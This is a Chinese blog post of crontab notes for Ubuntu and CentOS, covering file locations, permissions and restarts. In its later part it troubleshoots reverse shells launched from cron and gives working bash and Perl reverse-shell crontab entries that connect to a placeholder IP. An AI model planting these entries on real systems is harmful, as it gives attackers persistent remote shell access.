摘要:在Ubuntu16.04下使用crontab定时任务的一点总结

注意点

crontab分为两种,一种是针对用户的,一种是系统的例行性任务。
ubuntu环境下:

针对用户的文件 位于/var/spool/cron/crontabs目录下,例如root用户的定时任务就是/var/spool/cron/crontabs/root。
针对系统的例行任务的文件 位于/etc/crontab文件里面。

centos环境下:

针对用户的文件 位于/var/spool/cron目录下,例如root用户的定时任务就是/var/spool/cron/root。
针对系统的例行任务的文件 位于/etc/crontab文件里面。

需要注意的是:
1.crontab的文件要以换行符结尾。以上文的/var/spool/cron/crontabs/root文件举例,root文件的最后一行必须是换行。crontab在ubuntu16.04下貌似默认没有日志,需要手动开启日志。

注意换行符:

crontab换行符.jpg
2.最好用crontab -e命令增加定时任务,不能删除/var/spool/cron/crontabs/root文件,然后再上传。如果这样做需要,chmod改变上传的root文件的权限为0600,以及更改root文件所属的组为crontab。/var/spool/cron/crontabs/root文件的权限必须是0600,而/etc/crontab的系统默认文件权限为0644,这点很奇怪。

chgrp crontab /var/spool/cron/crontabs/root
chmod 0600 /var/spool/cron/crontabs/root

3.此外在ubuntu 16.04下/var/spool/cron/crontabs/root文件进行修改后,要使用service cron restart重启定时服务,不然定时任务不会运行。2021/2/17 在ubuntu 20.04下测试不需要重启定时任务,不知道是我测试错误,还是系统版本问题。在centos下修改/var/spool/cron/crontabs/root文件不需要重启cron服务。
4.在/etc/crontab文件里面修改无论ubuntu还是centos都不需要重启cron服务。
5.ubuntu下使用bash反弹shell会出现奇奇怪怪的问题

/bin/bash -i >& /dev/tcp/ip/port 0>&1

具体原因:

*/1 * * * * '/bin/bash -i >& /dev/tcp/ip/port 0>&1'>/redisshiyan/chuowu.txt 2>&1

去/redisshiyan/chuowu.txt文件中查看报的错误是

/bin/sh: 1: /bin/bash -i >& /dev/tcp/ip/port 0>&1: not found

别的人说是ubuntu环境下/bin/sh 指向 /bin/dash导致的,反正我是不懂。

crontab反弹shell出错.jpg

没有bash那就用dash,修改如下也不对,搞不懂搞不懂,cron运行时的环境变量

*/1 * * * * '/bin/dash -i >& /dev/tcp/ip/port 0>&1'>/redisshiyan/chuowu.txt 2>&1

crontab运行的环境变量在/etc/crontab下查看:强奸智商,搞不懂有环境变量为什么不行

crontab环境变量.jpg

最后直接修改反弹shell的命令:

  • /etc/cron下使用

    */1 * * * * perl -e 'use Socket;$i="ip";$p=65530;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    #注意换行符
  • /var/spool/cron/crontabs/root下使用

    */1 * * * * root perl -e 'use Socket;$i="ip";$p=65530;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    #注意换行符

参考

Linux Crontab定时任务反弹shell的坑 - Onebug.org | 安全防线_信息安全技术知识库
解决ubuntu任务计划写shell失败的问题 - 赛克社区
【奇技淫巧】linux 定时任务 crontab 反弹 shell - Bay0net - 博客园